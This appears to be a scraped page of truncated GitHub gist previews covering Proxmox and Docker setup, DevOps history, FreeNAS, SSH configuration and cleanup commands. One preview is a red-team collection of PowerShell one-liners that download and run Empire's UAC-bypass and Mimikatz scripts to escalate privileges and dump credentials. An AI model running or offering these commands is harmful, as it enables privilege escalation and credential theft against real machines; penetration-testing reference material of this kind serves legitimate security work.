Karl karlgb

Install Proxmox and a RancherOS VM with Portainer to manage docker containers

WARNING MAY BE INCORRECT AND INCOMPLETE, USE AT YOUR OWN RISK

I have tried this setup and although it works and may be good for ceratin circumstances I would advise using ubuntu as the base with docker, docker-compose, and portainer. https://gist.github.com/mow4cash/626275e095f7f90898944a85d66b3be6

Link to my docker run file https://gist.github.com/mow4cash/6a25343cdeb0cd115f263dea0a3b623d

Find the original here article here: Devops Best Practices

DevOps started out as "Agile Systems Administration". In 2008, at the Agile Conference in Toronto, Andrew Shafer posted an offer to moderate an ad hoc "Birds of a Feather" meeting to discuss the topic of "Agile Infrastructure". Only one person showed up to discuss the topic: Patrick Debois. Their discussions and sharing of ideas with others advanced the concept of "agile systems administration". Debois and Shafer formed an Agile Systems Administrator group on Google, with limited success. Patrick Debois did a presentation called "Infrastructure and Operations" addressing

Mistakes to Avoid: Docker Antipatterns

Whichever route you take to implementing containers, you’ll want to steer clear of common pitfalls that can undermine the efficiency of your Docker stack.

Don’t run too many processes inside a single container

The beauty of containers—and an advantage of containers over virtual machines—is that it is easy to make multiple containers interact with one another in order to compose a complete application. There is no need to run a full application inside a single container. Instead, break your application down as much as possible into discrete services, and distribute services across multiple containers. This maximizes flexibility and reliability.

Don’t install operating systems inside Docker containers

It is possible to install a complete Linux operating system inside a container. In most cases, however, this is not necessary. If your goal is to host just a single application or part of an application in the container, you need to install only the essential

TrueNAS

I will be moving from FreeNAS jails to ubuntu with docker, docker compose, and portainer. FreeNAS support and updates are lacking. There are many advantages to making the switch and with ZFS on linux I think FreeNAS may be a thing of the past. Stay tuned for a new guide of my latest setup. Check out my other gists for progress on the switch. https://gist.github.com/mow4cash/626275e095f7f90898944a85d66b3be6

WARNING READ THIS: This page contains incomplete and possibly incorrect info. The page is constantly being edited and worked on. Many of these should work but some may be broken. Read the code carefully to understand what you are doing, stuff may be need to be changed for your own use. This includes but not limited too JAIL AND ROUTER IPs, YOUR FREENAS MAIN VOLUME,THE MOST RECENT RELEASE OF DOWNLOADED FILES Use at your own risk.There may be helpful info in the comments.

Find me in the FreeNAS forums

Setup SSH Authentication for Git Bash on Windows

Prepararation

Create a folder at the root of your user home folder (Example: C:/Users/uname/) called .ssh.
Create the following files if they do not already exist (paths begin from the root of your user home folder):

.ssh/config

Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Reference

Case I: if /boot is not 100% full and apt is working

1. Check the current kernel version

$ uname -r

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands

	<#
	.NOTES
	===========================================================================
	Created with: SAPIEN Technologies, Inc., PowerShell Studio 2017 v5.4.136
	Created on: 11/03/2017 8:48 AM
	Created by: Grant Schmarr
	Organization:
	Filename: RemoveXML4v2.ps1
	Last Modified: 20/03/2017
	Modifications: Modified logging so that if the script is run a second time

	#!/bin/bash

	# Locate the history file in your profile, and copy it to the same folder as this script.
	# On Mac: ~/Library/Application\ Support/Google/Chrome/Default/History
	# On Windows: C:\Users\YOUR USER NAME\AppData\Local\Google\Chrome\User Data\Default\History

	sqlite3 History <<!
	.headers on
	.mode csv
	.output out.csv